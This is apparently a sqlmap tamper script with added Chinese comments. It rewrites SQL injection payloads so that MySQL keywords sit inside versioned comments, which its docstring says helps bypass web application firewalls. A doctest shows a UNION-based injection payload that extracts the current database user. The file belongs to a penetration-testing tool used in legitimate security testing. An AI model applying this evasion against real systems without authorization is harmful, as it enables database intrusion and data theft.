#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import os
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.data import kb
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS

__priority__ = PRIORITY.HIGHER

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s >= 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    """
    Encloses each keyword with (MySQL) versioned comment

    Requirement:
        * MySQL >= 5.1.13

    Tested against:
        * MySQL 5.1.56, 5.5.11

    Notes:
        * Useful to bypass several web application firewalls when the
          back-end database management system is MySQL

    >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#')
    '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
    """

    # 定义一个函数，用于处理匹配到的单词
    def process(match):
        # 获取匹配到的单词
        word = match.group('word')
        # 如果单词的大写形式在关键词列表中，并且不在忽略空格影响的关键词列表中
        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            # 将匹配到的单词替换为/*!单词*/
            return match.group().replace(word, "/*!%s*/" % word)
        else:
            # 否则，返回匹配到的单词
            return match.group()

    # 将payload赋值给retVal
    retVal = payload

    # 如果payload不为空
    if payload:
        # 使用正则表达式匹配单词，并调用process函数进行处理
        retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal)
        # 将" /*!"替换为"/*!"，将"*/ "替换为"*/"
        retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")

    # 返回retVal
    return retVal
